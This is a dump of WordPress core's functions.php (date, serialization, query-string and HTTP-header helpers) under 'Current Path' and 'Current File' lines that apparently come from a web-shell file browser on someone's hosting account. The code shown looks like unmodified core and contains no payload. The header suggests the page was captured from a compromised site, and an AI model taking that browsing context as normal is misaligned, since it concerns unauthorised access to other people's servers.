| Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/ |
| Current File : /home/x/b/o/xbodynamge/namtation/wp-content/functions.php.tar |
home/xbodynamge/www/wp-includes/functions.php 0000644 00000565110 15111614645 0015444 0 ustar 00 <?php
/**
* Main WordPress API
*
* @package WordPress
*/
require( ABSPATH . WPINC . '/option.php' );
/**
* Convert given date string into a different format.
*
* $format should be either a PHP date format string, e.g. 'U' for a Unix
* timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @since 0.71
*
* @param string $format Format of the date to return.
* @param string $date Date string to convert.
* @param bool $translate Whether the return date should be translated. Default true.
* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
*/
function mysql2date( $format, $date, $translate = true ) {
if ( empty( $date ) )
return false;
if ( 'G' == $format )
return strtotime( $date . ' +0000' );
$i = strtotime( $date );
if ( 'U' == $format )
return $i;
if ( $translate )
return date_i18n( $format, $i );
else
return date( $format, $i );
}
/**
* Retrieve the current time based on specified type.
*
* The 'mysql' type will return the time in the format for MySQL DATETIME field.
* The 'timestamp' type will return the current timestamp.
* Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
*
* If $gmt is set to either '1' or 'true', then both types will use GMT time.
* if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
*
* @since 1.0.0
*
* @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
* format string (e.g. 'Y-m-d').
* @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.
* @return int|string Integer if $type is 'timestamp', string otherwise.
*/
function current_time( $type, $gmt = 0 ) {
switch ( $type ) {
case 'mysql':
return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
case 'timestamp':
return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
default:
return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
}
}
/**
* Retrieve the date in localized format, based on timestamp.
*
* If the locale specifies the locale month and weekday, then the locale will
* take over the format for the date. If it isn't, then the date format string
* will be used instead.
*
* @since 0.71
*
* @global WP_Locale $wp_locale
*
* @param string $dateformatstring Format to display the date.
* @param bool|int $unixtimestamp Optional. Unix timestamp. Default false.
* @param bool $gmt Optional. Whether to use GMT timezone. Default false.
*
* @return string The date, translated if locale specifies it.
*/
function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
global $wp_locale;
$i = $unixtimestamp;
if ( false === $i ) {
$i = current_time( 'timestamp', $gmt );
}
/*
* Store original value for language with untypical grammars.
* See https://core.trac.wordpress.org/ticket/9396
*/
$req_format = $dateformatstring;
if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
$datemonth = $wp_locale->get_month( date( 'm', $i ) );
$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
$dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
$datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
$datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
$timezone_formats_re = implode( '|', $timezone_formats );
if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
$timezone_string = get_option( 'timezone_string' );
if ( $timezone_string ) {
$timezone_object = timezone_open( $timezone_string );
$date_object = date_create( null, $timezone_object );
foreach ( $timezone_formats as $timezone_format ) {
if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
$formatted = date_format( $date_object, $timezone_format );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
}
}
}
$j = @date( $dateformatstring, $i );
/**
* Filters the date formatted based on the locale.
*
* @since 2.8.0
*
* @param string $j Formatted date string.
* @param string $req_format Format to display the date.
* @param int $i Unix timestamp.
* @param bool $gmt Whether to convert to GMT for time. Default false.
*/
$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
return $j;
}
/**
* Determines if the date should be declined.
*
* If the locale specifies that month names require a genitive case in certain
* formats (like 'j F Y'), the month name will be replaced with a correct form.
*
* @since 4.4.0
*
* @global WP_Locale $wp_locale
*
* @param string $date Formatted date string.
* @return string The date, declined if locale specifies it.
*/
function wp_maybe_decline_date( $date ) {
global $wp_locale;
// i18n functions are not available in SHORTINIT mode
if ( ! function_exists( '_x' ) ) {
return $date;
}
/* translators: If months in your language require a genitive case,
* translate this to 'on'. Do not translate into your own language.
*/
if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
// Match a format like 'j F Y' or 'j. F'
if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
$months = $wp_locale->month;
$months_genitive = $wp_locale->month_genitive;
foreach ( $months as $key => $month ) {
$months[ $key ] = '# ' . $month . '( |$)#u';
}
foreach ( $months_genitive as $key => $month ) {
$months_genitive[ $key ] = ' ' . $month . '$1';
}
$date = preg_replace( $months, $months_genitive, $date );
}
}
// Used for locale-specific rules
$locale = get_locale();
if ( 'ca' === $locale ) {
// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
}
return $date;
}
/**
* Convert float number to format based on the locale.
*
* @since 2.3.0
*
* @global WP_Locale $wp_locale
*
* @param float $number The number to convert based on locale.
* @param int $decimals Optional. Precision of the number of decimal places. Default 0.
* @return string Converted number in string format.
*/
function number_format_i18n( $number, $decimals = 0 ) {
global $wp_locale;
if ( isset( $wp_locale ) ) {
$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
} else {
$formatted = number_format( $number, absint( $decimals ) );
}
/**
* Filters the number formatted based on the locale.
*
* @since 2.8.0
* @since 4.9.0 The `$number` and `$decimals` arguments were added.
*
* @param string $formatted Converted number in string format.
* @param float $number The number to convert based on locale.
* @param int $decimals Precision of the number of decimal places.
*/
return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
}
/**
* Convert number of bytes largest unit bytes will fit into.
*
* It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
* number of bytes to human readable number by taking the number of that unit
* that the bytes will go into it. Supports TB value.
*
* Please note that integers in PHP are limited to 32 bits, unless they are on
* 64 bit architecture, then they have 64 bit size. If you need to place the
* larger size then what PHP integer type will hold, then use a string. It will
* be converted to a double, which should always have 64 bit length.
*
* Technically the correct unit names for powers of 1024 are KiB, MiB etc.
*
* @since 2.3.0
*
* @param int|string $bytes Number of bytes. Note max integer size for integers.
* @param int $decimals Optional. Precision of number of decimal places. Default 0.
* @return string|false False on failure. Number string on success.
*/
function size_format( $bytes, $decimals = 0 ) {
$quant = array(
'TB' => TB_IN_BYTES,
'GB' => GB_IN_BYTES,
'MB' => MB_IN_BYTES,
'KB' => KB_IN_BYTES,
'B' => 1,
);
if ( 0 === $bytes ) {
return number_format_i18n( 0, $decimals ) . ' B';
}
foreach ( $quant as $unit => $mag ) {
if ( doubleval( $bytes ) >= $mag ) {
return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
}
}
return false;
}
/**
* Get the week start and end from the datetime or date string from MySQL.
*
* @since 0.71
*
* @param string $mysqlstring Date or datetime field type from MySQL.
* @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
* @return array Keys are 'start' and 'end'.
*/
function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
// MySQL string year.
$my = substr( $mysqlstring, 0, 4 );
// MySQL string month.
$mm = substr( $mysqlstring, 8, 2 );
// MySQL string day.
$md = substr( $mysqlstring, 5, 2 );
// The timestamp for MySQL string day.
$day = mktime( 0, 0, 0, $md, $mm, $my );
// The day of the week from the timestamp.
$weekday = date( 'w', $day );
if ( !is_numeric($start_of_week) )
$start_of_week = get_option( 'start_of_week' );
if ( $weekday < $start_of_week )
$weekday += 7;
// The most recent week start day on or before $day.
$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
// $start + 1 week - 1 second.
$end = $start + WEEK_IN_SECONDS - 1;
return compact( 'start', 'end' );
}
/**
* Unserialize value only if it was serialized.
*
* @since 2.0.0
*
* @param string $original Maybe unserialized original, if is needed.
* @return mixed Unserialized data can be any type.
*/
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
return @unserialize( $original );
return $original;
}
/**
* Check value to find if it was serialized.
*
* If $data is not an string, then returned value will always be false.
* Serialized data is always a string.
*
* @since 2.0.5
*
* @param string $data Value to check to see if was serialized.
* @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
* @return bool False if not serialized and true if it was.
*/
function is_serialized( $data, $strict = true ) {
// if it isn't a string, it isn't serialized.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( 'N;' == $data ) {
return true;
}
if ( strlen( $data ) < 4 ) {
return false;
}
if ( ':' !== $data[1] ) {
return false;
}
if ( $strict ) {
$lastc = substr( $data, -1 );
if ( ';' !== $lastc && '}' !== $lastc ) {
return false;
}
} else {
$semicolon = strpos( $data, ';' );
$brace = strpos( $data, '}' );
// Either ; or } must exist.
if ( false === $semicolon && false === $brace )
return false;
// But neither must be in the first X characters.
if ( false !== $semicolon && $semicolon < 3 )
return false;
if ( false !== $brace && $brace < 4 )
return false;
}
$token = $data[0];
switch ( $token ) {
case 's' :
if ( $strict ) {
if ( '"' !== substr( $data, -2, 1 ) ) {
return false;
}
} elseif ( false === strpos( $data, '"' ) ) {
return false;
}
// or else fall through
case 'a' :
case 'O' :
return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
case 'b' :
case 'i' :
case 'd' :
$end = $strict ? '$' : '';
return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
}
return false;
}
/**
* Check whether serialized data is of string type.
*
* @since 2.0.5
*
* @param string $data Serialized data.
* @return bool False if not a serialized string, true if it is.
*/
function is_serialized_string( $data ) {
// if it isn't a string, it isn't a serialized string.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( strlen( $data ) < 4 ) {
return false;
} elseif ( ':' !== $data[1] ) {
return false;
} elseif ( ';' !== substr( $data, -1 ) ) {
return false;
} elseif ( $data[0] !== 's' ) {
return false;
} elseif ( '"' !== substr( $data, -2, 1 ) ) {
return false;
} else {
return true;
}
}
/**
* Serialize data, if needed.
*
* @since 2.0.5
*
* @param string|array|object $data Data that might be serialized.
* @return mixed A scalar data
*/
function maybe_serialize( $data ) {
if ( is_array( $data ) || is_object( $data ) )
return serialize( $data );
// Double serialization is required for backward compatibility.
// See https://core.trac.wordpress.org/ticket/12930
// Also the world will end. See WP 3.6.1.
if ( is_serialized( $data, false ) )
return serialize( $data );
return $data;
}
/**
* Retrieve post title from XMLRPC XML.
*
* If the title element is not part of the XML, then the default post title from
* the $post_default_title will be used instead.
*
* @since 0.71
*
* @global string $post_default_title Default XML-RPC post title.
*
* @param string $content XMLRPC XML Request content
* @return string Post title
*/
function xmlrpc_getposttitle( $content ) {
global $post_default_title;
if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
$post_title = $matchtitle[1];
} else {
$post_title = $post_default_title;
}
return $post_title;
}
/**
* Retrieve the post category or categories from XMLRPC XML.
*
* If the category element is not found, then the default post category will be
* used. The return type then would be what $post_default_category. If the
* category is found, then it will always be an array.
*
* @since 0.71
*
* @global string $post_default_category Default XML-RPC post category.
*
* @param string $content XMLRPC XML Request content
* @return string|array List of categories or category name.
*/
function xmlrpc_getpostcategory( $content ) {
global $post_default_category;
if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
$post_category = trim( $matchcat[1], ',' );
$post_category = explode( ',', $post_category );
} else {
$post_category = $post_default_category;
}
return $post_category;
}
/**
* XMLRPC XML content without title and category elements.
*
* @since 0.71
*
* @param string $content XML-RPC XML Request content.
* @return string XMLRPC XML Request content without title and category elements.
*/
function xmlrpc_removepostdata( $content ) {
$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
$content = trim( $content );
return $content;
}
/**
* Use RegEx to extract URLs from arbitrary content.
*
* @since 3.7.0
*
* @param string $content Content to extract URLs from.
* @return array URLs found in passed string.
*/
function wp_extract_urls( $content ) {
preg_match_all(
"#([\"']?)("
. "(?:([\w-]+:)?//?)"
. "[^\s()<>]+"
. "[.]"
. "(?:"
. "\([\w\d]+\)|"
. "(?:"
. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
. "(?:[:]\d+)?/?"
. ")+"
. ")"
. ")\\1#",
$content,
$post_links
);
$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
return array_values( $post_links );
}
/**
* Check content for video and audio links to add as enclosures.
*
* Will not add enclosures that have already been added and will
* remove enclosures that are no longer in the post. This is called as
* pingbacks and trackbacks.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $content Post Content.
* @param int $post_ID Post ID.
*/
function do_enclose( $content, $post_ID ) {
global $wpdb;
//TODO: Tidy this ghetto code up and make the debug code optional
include_once( ABSPATH . WPINC . '/class-IXR.php' );
$post_links = array();
$pung = get_enclosed( $post_ID );
$post_links_temp = wp_extract_urls( $content );
foreach ( $pung as $link_test ) {
if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
foreach ( $mids as $mid )
delete_metadata_by_mid( 'post', $mid );
}
}
foreach ( (array) $post_links_temp as $link_test ) {
if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
$test = @parse_url( $link_test );
if ( false === $test )
continue;
if ( isset( $test['query'] ) )
$post_links[] = $link_test;
elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )
$post_links[] = $link_test;
}
}
/**
* Filters the list of enclosure links before querying the database.
*
* Allows for the addition and/or removal of potential enclosures to save
* to postmeta before checking the database for existing enclosures.
*
* @since 4.4.0
*
* @param array $post_links An array of enclosure links.
* @param int $post_ID Post ID.
*/
$post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
foreach ( (array) $post_links as $url ) {
if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
if ( $headers = wp_get_http_headers( $url) ) {
$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
$allowed_types = array( 'video', 'audio' );
// Check to see if we can figure out the mime type from
// the extension
$url_parts = @parse_url( $url );
if ( false !== $url_parts ) {
$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
if ( !empty( $extension ) ) {
foreach ( wp_get_mime_types() as $exts => $mime ) {
if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
$type = $mime;
break;
}
}
}
}
if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
}
}
}
}
}
/**
* Retrieve HTTP Headers from URL.
*
* @since 1.5.1
*
* @param string $url URL to retrieve HTTP headers from.
* @param bool $deprecated Not Used.
* @return bool|string False on failure, headers on success.
*/
function wp_get_http_headers( $url, $deprecated = false ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.7.0' );
$response = wp_safe_remote_head( $url );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_headers( $response );
}
/**
* Determines whether the publish date of the current post in the loop is different
* from the publish date of the previous post in the loop.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 0.71
*
* @global string $currentday The day of the current post in the loop.
* @global string $previousday The day of the previous post in the loop.
*
* @return int 1 when new day, 0 if not a new day.
*/
function is_new_day() {
global $currentday, $previousday;
if ( $currentday != $previousday )
return 1;
else
return 0;
}
/**
* Build URL query based on an associative and, or indexed array.
*
* This is a convenient function for easily building url queries. It sets the
* separator to '&' and uses _http_build_query() function.
*
* @since 2.3.0
*
* @see _http_build_query() Used to build the query
* @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
* http_build_query() does.
*
* @param array $data URL-encode key/value pairs.
* @return string URL-encoded string.
*/
function build_query( $data ) {
return _http_build_query( $data, null, '&', '', false );
}
/**
* From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
*
* @since 3.2.0
* @access private
*
* @see https://secure.php.net/manual/en/function.http-build-query.php
*
* @param array|object $data An array or object of data. Converted to array.
* @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
* Default null.
* @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
* Default null.
* @param string $key Optional. Used to prefix key name. Default empty.
* @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
*
* @return string The query string.
*/
function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
$ret = array();
foreach ( (array) $data as $k => $v ) {
if ( $urlencode)
$k = urlencode($k);
if ( is_int($k) && $prefix != null )
$k = $prefix.$k;
if ( !empty($key) )
$k = $key . '%5B' . $k . '%5D';
if ( $v === null )
continue;
elseif ( $v === false )
$v = '0';
if ( is_array($v) || is_object($v) )
array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
elseif ( $urlencode )
array_push($ret, $k.'='.urlencode($v));
else
array_push($ret, $k.'='.$v);
}
if ( null === $sep )
$sep = ini_get('arg_separator.output');
return implode($sep, $ret);
}
/**
* Retrieves a modified URL query string.
*
* You can rebuild the URL and append query variables to the URL query by using this function.
* There are two ways to use this function; either a single key and value, or an associative array.
*
* Using a single key and value:
*
* add_query_arg( 'key', 'value', 'http://example.com' );
*
* Using an associative array:
*
* add_query_arg( array(
* 'key1' => 'value1',
* 'key2' => 'value2',
* ), 'http://example.com' );
*
* Omitting the URL from either use results in the current URL being used
* (the value of `$_SERVER['REQUEST_URI']`).
*
* Values are expected to be encoded appropriately with urlencode() or rawurlencode().
*
* Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
*
* Important: The return value of add_query_arg() is not escaped by default. Output should be
* late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
* (XSS) attacks.
*
* @since 1.5.0
*
* @param string|array $key Either a query variable key, or an associative array of query variables.
* @param string $value Optional. Either a query variable value, or a URL to act upon.
* @param string $url Optional. A URL to act upon.
* @return string New URL query string (unescaped).
*/
function add_query_arg() {
$args = func_get_args();
if ( is_array( $args[0] ) ) {
if ( count( $args ) < 2 || false === $args[1] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[1];
} else {
if ( count( $args ) < 3 || false === $args[2] )
$uri = $_SERVER['REQUEST_URI'];
else
$uri = $args[2];
}
if ( $frag = strstr( $uri, '#' ) )
$uri = substr( $uri, 0, -strlen( $frag ) );
else
$frag = '';
if ( 0 === stripos( $uri, 'http://' ) ) {
$protocol = 'http://';
$uri = substr( $uri, 7 );
} elseif ( 0 === stripos( $uri, 'https://' ) ) {
$protocol = 'https://';
$uri = substr( $uri, 8 );
} else {
$protocol = '';
}
if ( strpos( $uri, '?' ) !== false ) {
list( $base, $query ) = explode( '?', $uri, 2 );
$base .= '?';
} elseif ( $protocol || strpos( $uri, '=' ) === false ) {
$base = $uri . '?';
$query = '';
} else {
$base = '';
$query = $uri;
}
wp_parse_str( $query, $qs );
$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
if ( is_array( $args[0] ) ) {
foreach ( $args[0] as $k => $v ) {
$qs[ $k ] = $v;
}
} else {
$qs[ $args[0] ] = $args[1];
}
foreach ( $qs as $k => $v ) {
if ( $v === false )
unset( $qs[$k] );
}
$ret = build_query( $qs );
$ret = trim( $ret, '?' );
$ret = preg_replace( '#=(&|$)#', '$1', $ret );
$ret = $protocol . $base . $ret . $frag;
$ret = rtrim( $ret, '?' );
return $ret;
}
/**
* Removes an item or items from a query string.
*
* @since 1.5.0
*
* @param string|array $key Query key or keys to remove.
* @param bool|string $query Optional. When false uses the current URL. Default false.
* @return string New URL query string.
*/
function remove_query_arg( $key, $query = false ) {
if ( is_array( $key ) ) { // removing multiple keys
foreach ( $key as $k )
$query = add_query_arg( $k, false, $query );
return $query;
}
return add_query_arg( $key, false, $query );
}
/**
* Returns an array of single-use query variable names that can be removed from a URL.
*
* @since 4.4.0
*
* @return array An array of parameters to remove from the URL.
*/
function wp_removable_query_args() {
$removable_query_args = array(
'activate',
'activated',
'approved',
'deactivate',
'deleted',
'disabled',
'enabled',
'error',
'hotkeys_highlight_first',
'hotkeys_highlight_last',
'locked',
'message',
'same',
'saved',
'settings-updated',
'skipped',
'spammed',
'trashed',
'unspammed',
'untrashed',
'update',
'updated',
'wp-post-new-reload',
);
/**
* Filters the list of query variables to remove.
*
* @since 4.2.0
*
* @param array $removable_query_args An array of query variables to remove from a URL.
*/
return apply_filters( 'removable_query_args', $removable_query_args );
}
/**
* Walks the array while sanitizing the contents.
*
* @since 0.71
*
* @param array $array Array to walk while sanitizing contents.
* @return array Sanitized $array.
*/
function add_magic_quotes( $array ) {
foreach ( (array) $array as $k => $v ) {
if ( is_array( $v ) ) {
$array[$k] = add_magic_quotes( $v );
} else {
$array[$k] = addslashes( $v );
}
}
return $array;
}
/**
* HTTP request for URI to retrieve content.
*
* @since 1.5.1
*
* @see wp_safe_remote_get()
*
* @param string $uri URI/URL of web page to retrieve.
* @return false|string HTTP content. False on failure.
*/
function wp_remote_fopen( $uri ) {
$parsed_url = @parse_url( $uri );
if ( !$parsed_url || !is_array( $parsed_url ) )
return false;
$options = array();
$options['timeout'] = 10;
$response = wp_safe_remote_get( $uri, $options );
if ( is_wp_error( $response ) )
return false;
return wp_remote_retrieve_body( $response );
}
/**
* Set up the WordPress query.
*
* @since 2.0.0
*
* @global WP $wp_locale
* @global WP_Query $wp_query
* @global WP_Query $wp_the_query
*
* @param string|array $query_vars Default WP_Query arguments.
*/
function wp( $query_vars = '' ) {
global $wp, $wp_query, $wp_the_query;
$wp->main( $query_vars );
if ( !isset($wp_the_query) )
$wp_the_query = $wp_query;
}
/**
* Retrieve the description for the HTTP status.
*
* @since 2.3.0
*
* @global array $wp_header_to_desc
*
* @param int $code HTTP status code.
* @return string Empty string if not found, or description if found.
*/
function get_status_header_desc( $code ) {
global $wp_header_to_desc;
$code = absint( $code );
if ( !isset( $wp_header_to_desc ) ) {
$wp_header_to_desc = array(
100 => 'Continue',
101 => 'Switching Protocols',
102 => 'Processing',
200 => 'OK',
201 => 'Created',
202 => 'Accepted',
203 => 'Non-Authoritative Information',
204 => 'No Content',
205 => 'Reset Content',
206 => 'Partial Content',
207 => 'Multi-Status',
226 => 'IM Used',
300 => 'Multiple Choices',
301 => 'Moved Permanently',
302 => 'Found',
303 => 'See Other',
304 => 'Not Modified',
305 => 'Use Proxy',
306 => 'Reserved',
307 => 'Temporary Redirect',
308 => 'Permanent Redirect',
400 => 'Bad Request',
401 => 'Unauthorized',
402 => 'Payment Required',
403 => 'Forbidden',
404 => 'Not Found',
405 => 'Method Not Allowed',
406 => 'Not Acceptable',
407 => 'Proxy Authentication Required',
408 => 'Request Timeout',
409 => 'Conflict',
410 => 'Gone',
411 => 'Length Required',
412 => 'Precondition Failed',
413 => 'Request Entity Too Large',
414 => 'Request-URI Too Long',
415 => 'Unsupported Media Type',
416 => 'Requested Range Not Satisfiable',
417 => 'Expectation Failed',
418 => 'I\'m a teapot',
421 => 'Misdirected Request',
422 => 'Unprocessable Entity',
423 => 'Locked',
424 => 'Failed Dependency',
426 => 'Upgrade Required',
428 => 'Precondition Required',
429 => 'Too Many Requests',
431 => 'Request Header Fields Too Large',
451 => 'Unavailable For Legal Reasons',
500 => 'Internal Server Error',
501 => 'Not Implemented',
502 => 'Bad Gateway',
503 => 'Service Unavailable',
504 => 'Gateway Timeout',
505 => 'HTTP Version Not Supported',
506 => 'Variant Also Negotiates',
507 => 'Insufficient Storage',
510 => 'Not Extended',
511 => 'Network Authentication Required',
);
}
if ( isset( $wp_header_to_desc[$code] ) )
return $wp_header_to_desc[$code];
else
return '';
}
/**
* Set HTTP status header.
*
* @since 2.0.0
* @since 4.4.0 Added the `$description` parameter.
*
* @see get_status_header_desc()
*
* @param int $code HTTP status code.
* @param string $description Optional. A custom description for the HTTP status.
*/
function status_header( $code, $description = '' ) {
if ( ! $description ) {
$description = get_status_header_desc( $code );
}
if ( empty( $description ) ) {
return;
}
$protocol = wp_get_server_protocol();
$status_header = "$protocol $code $description";
if ( function_exists( 'apply_filters' ) )
/**
* Filters an HTTP status header.
*
* @since 2.2.0
*
* @param string $status_header HTTP status header.
* @param int $code HTTP status code.
* @param string $description Description for the status code.
* @param string $protocol Server protocol.
*/
$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
@header( $status_header, true, $code );
}
/**
* Get the header information to prevent caching.
*
* The several different headers cover the different ways cache prevention
* is handled by different browsers
*
* @since 2.8.0
*
* @return array The associative array of header names and field values.
*/
function wp_get_nocache_headers() {
$headers = array(
'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',
'Cache-Control' => 'no-cache, must-revalidate, max-age=0',
);
if ( function_exists('apply_filters') ) {
/**
* Filters the cache-controlling headers.
*
* @since 2.8.0
*
* @see wp_get_nocache_headers()
*
* @param array $headers {
* Header names and field values.
*
* @type string $Expires Expires header.
* @type string $Cache-Control Cache-Control header.
* }
*/
$headers = (array) apply_filters( 'nocache_headers', $headers );
}
$headers['Last-Modified'] = false;
return $headers;
}
/**
* Set the headers to prevent caching for the different browsers.
*
* Different browsers support different nocache headers, so several
* headers must be sent so that all of them get the point that no
* caching should occur.
*
* @since 2.0.0
*
* @see wp_get_nocache_headers()
*/
function nocache_headers() {
$headers = wp_get_nocache_headers();
unset( $headers['Last-Modified'] );
// In PHP 5.3+, make sure we are not sending a Last-Modified header.
if ( function_exists( 'header_remove' ) ) {
@header_remove( 'Last-Modified' );
} else {
// In PHP 5.2, send an empty Last-Modified header, but only as a
// last resort to override a header already sent. #WP23021
foreach ( headers_list() as $header ) {
if ( 0 === stripos( $header, 'Last-Modified' ) ) {
$headers['Last-Modified'] = '';
break;
}
}
}
foreach ( $headers as $name => $field_value )
@header("{$name}: {$field_value}");
}
/**
* Set the headers for caching for 10 days with JavaScript content type.
*
* @since 2.1.0
*/
function cache_javascript_headers() {
$expiresOffset = 10 * DAY_IN_SECONDS;
header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );
header( "Vary: Accept-Encoding" ); // Handle proxies
header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );
}
/**
* Retrieve the number of database queries during the WordPress execution.
*
* @since 2.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return int Number of database queries.
*/
function get_num_queries() {
global $wpdb;
return $wpdb->num_queries;
}
/**
* Whether input is yes or no.
*
* Must be 'y' to be true.
*
* @since 1.0.0
*
* @param string $yn Character string containing either 'y' (yes) or 'n' (no).
* @return bool True if yes, false on anything else.
*/
function bool_from_yn( $yn ) {
return ( strtolower( $yn ) == 'y' );
}
/**
* Load the feed template from the use of an action hook.
*
* If the feed action does not have a hook, then the function will die with a
* message telling the visitor that the feed is not valid.
*
* It is better to only have one hook for each feed.
*
* @since 2.1.0
*
* @global WP_Query $wp_query Used to tell if the use a comment feed.
*/
function do_feed() {
global $wp_query;
$feed = get_query_var( 'feed' );
// Remove the pad, if present.
$feed = preg_replace( '/^_+/', '', $feed );
if ( $feed == '' || $feed == 'feed' )
$feed = get_default_feed();
if ( ! has_action( "do_feed_{$feed}" ) ) {
wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );
}
/**
* Fires once the given feed is loaded.
*
* The dynamic portion of the hook name, `$feed`, refers to the feed template name.
* Possible values include: 'rdf', 'rss', 'rss2', and 'atom'.
*
* @since 2.1.0
* @since 4.4.0 The `$feed` parameter was added.
*
* @param bool $is_comment_feed Whether the feed is a comment feed.
* @param string $feed The feed name.
*/
do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
}
/**
* Load the RDF RSS 0.91 Feed template.
*
* @since 2.1.0
*
* @see load_template()
*/
